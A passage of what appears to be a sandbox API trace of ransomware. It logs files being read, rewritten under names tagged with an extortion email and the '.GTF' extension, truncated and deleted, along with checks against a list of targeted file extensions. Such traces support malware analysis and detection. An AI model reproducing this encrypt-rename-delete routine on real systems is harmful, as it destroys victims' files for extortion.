	[0081.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.679] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2016) returned 1
	[0081.679] CloseHandle (hObject=0x2d4) returned 1
	[0081.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220
	[0081.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.680] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.680] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.680] GetLastError () returned 0x0
	[0081.680] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x7e0, lpOverlapped=0x0) returned 1
	[0081.682] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0081.683] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.683] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.683] SetEndOfFile (hFile=0x374) returned 1
	[0081.683] CloseHandle (hObject=0x374) returned 1
	[0081.684] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.684] SetEndOfFile (hFile=0x2d4) returned 1
	[0081.685] CloseHandle (hObject=0x2d4) returned 1
	[0081.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1
	[0081.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.685] lstrlenW (lpString=".doc") returned 4
	[0081.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString=".docx") returned 5
	[0081.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.686] lstrlenW (lpString=".pdf") returned 4
	[0081.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString=".xls") returned 4
	[0081.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.686] lstrlenW (lpString=".xlsx") returned 5
	[0081.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.686] lstrlenW (lpString=".ppt") returned 4
	[0081.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.686] lstrlenW (lpString=".zip") returned 4
	[0081.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.686] lstrlenW (lpString=".rar") returned 4
	[0081.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString=".bz2") returned 4
	[0081.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString=".7z") returned 3
	[0081.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.686] lstrlenW (lpString=".dbf") returned 4
	[0081.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.686] lstrlenW (lpString=".1cd") returned 4
	[0081.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.686] lstrlenW (lpString=".jpg") returned 4
	[0081.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.686] lstrlenW (lpString=".doc") returned 4
	[0081.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.686] lstrlenW (lpString=".docx") returned 5
	[0081.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.687] lstrlenW (lpString=".pdf") returned 4
	[0081.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.687] lstrlenW (lpString=".xls") returned 4
	[0081.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.687] lstrlenW (lpString=".xlsx") returned 5
	[0081.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.687] lstrlenW (lpString=".ppt") returned 4
	[0081.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.687] lstrlenW (lpString=".zip") returned 4
	[0081.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.687] lstrlenW (lpString=".rar") returned 4
	[0081.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.687] lstrlenW (lpString=".bz2") returned 4
	[0081.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.687] lstrlenW (lpString=".7z") returned 3
	[0081.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.687] lstrlenW (lpString=".dbf") returned 4
	[0081.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.687] lstrlenW (lpString=".1cd") returned 4
	[0081.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68
	[0081.687] lstrlenW (lpString=".jpg") returned 4
	[0081.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.687] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.687] lstrlenW (lpString="AN04323_.WMF") returned 12
	[0081.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.688] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2492) returned 1
	[0081.688] CloseHandle (hObject=0x2d4) returned 1
	[0081.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220
	[0081.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.688] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.688] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.688] GetLastError () returned 0x0
	[0081.688] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x9bc, lpOverlapped=0x0) returned 1
	[0081.690] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0081.694] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.694] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.694] SetEndOfFile (hFile=0x374) returned 1
	[0081.695] CloseHandle (hObject=0x374) returned 1
	[0081.695] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.695] SetEndOfFile (hFile=0x2d4) returned 1
	[0081.696] CloseHandle (hObject=0x2d4) returned 1
	[0081.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0081.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1
	[0081.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.697] lstrlenW (lpString=".doc") returned 4
	[0081.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString=".docx") returned 5
	[0081.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.697] lstrlenW (lpString=".pdf") returned 4
	[0081.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString=".xls") returned 4
	[0081.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.697] lstrlenW (lpString=".xlsx") returned 5
	[0081.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.697] lstrlenW (lpString=".ppt") returned 4
	[0081.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.697] lstrlenW (lpString=".zip") returned 4
	[0081.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.697] lstrlenW (lpString=".rar") returned 4
	[0081.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString=".bz2") returned 4
	[0081.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString=".7z") returned 3
	[0081.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.697] lstrlenW (lpString=".dbf") returned 4
	[0081.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.697] lstrlenW (lpString=".1cd") returned 4
	[0081.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.697] lstrlenW (lpString=".jpg") returned 4
	[0081.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.698] lstrlenW (lpString=".doc") returned 4
	[0081.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString=".docx") returned 5
	[0081.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0081.698] lstrlenW (lpString=".pdf") returned 4
	[0081.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString=".xls") returned 4
	[0081.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0081.698] lstrlenW (lpString=".xlsx") returned 5
	[0081.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0081.698] lstrlenW (lpString=".ppt") returned 4
	[0081.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.698] lstrlenW (lpString=".zip") returned 4
	[0081.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0081.698] lstrlenW (lpString=".rar") returned 4
	[0081.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString=".bz2") returned 4
	[0081.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString=".7z") returned 3
	[0081.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0081.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.698] lstrlenW (lpString=".dbf") returned 4
	[0081.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.698] lstrlenW (lpString=".1cd") returned 4
	[0081.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0081.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68
	[0081.698] lstrlenW (lpString=".jpg") returned 4
	[0081.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0081.699] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0081.699] lstrlenW (lpString="AN04326_.WMF") returned 12
	[0081.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.699] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3348) returned 1
	[0081.699] CloseHandle (hObject=0x2d4) returned 1
	[0081.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220
	[0081.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0081.699] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.699] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0081.700] GetLastError () returned 0x0
	[0081.700] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xd14, lpOverlapped=0x0) returned 1
	[0082.043] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0082.054] ReadFile (in: hFile=0x2d4, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.054] WriteFile (in: hFile=0x374, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.054] SetEndOfFile (hFile=0x374) returned 1
	[0082.054] CloseHandle (hObject=0x374) returned 1
	[0082.064] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.064] SetEndOfFile (hFile=0x2d4) returned 1
	[0082.065] CloseHandle (hObject=0x2d4) returned 1
	[0082.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0082.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1
	[0082.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.395] lstrlenW (lpString=".doc") returned 4
	[0082.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.395] lstrlenW (lpString=".docx") returned 5
	[0082.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.395] lstrlenW (lpString=".pdf") returned 4
	[0082.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.395] lstrlenW (lpString=".xls") returned 4
	[0082.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.395] lstrlenW (lpString=".xlsx") returned 5
	[0082.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.395] lstrlenW (lpString=".ppt") returned 4
	[0082.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.395] lstrlenW (lpString=".zip") returned 4
	[0082.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.396] lstrlenW (lpString=".rar") returned 4
	[0082.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString=".bz2") returned 4
	[0082.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString=".7z") returned 3
	[0082.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.396] lstrlenW (lpString=".dbf") returned 4
	[0082.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.396] lstrlenW (lpString=".1cd") returned 4
	[0082.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.396] lstrlenW (lpString=".jpg") returned 4
	[0082.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.396] lstrlenW (lpString=".doc") returned 4
	[0082.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString=".docx") returned 5
	[0082.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.396] lstrlenW (lpString=".pdf") returned 4
	[0082.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString=".xls") returned 4
	[0082.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.396] lstrlenW (lpString=".xlsx") returned 5
	[0082.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.396] lstrlenW (lpString=".ppt") returned 4
	[0082.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.396] lstrlenW (lpString=".zip") returned 4
	[0082.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.397] lstrlenW (lpString=".rar") returned 4
	[0082.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.397] lstrlenW (lpString=".bz2") returned 4
	[0082.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.397] lstrlenW (lpString=".7z") returned 3
	[0082.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.397] lstrlenW (lpString=".dbf") returned 4
	[0082.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.397] lstrlenW (lpString=".1cd") returned 4
	[0082.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68
	[0082.397] lstrlenW (lpString=".jpg") returned 4
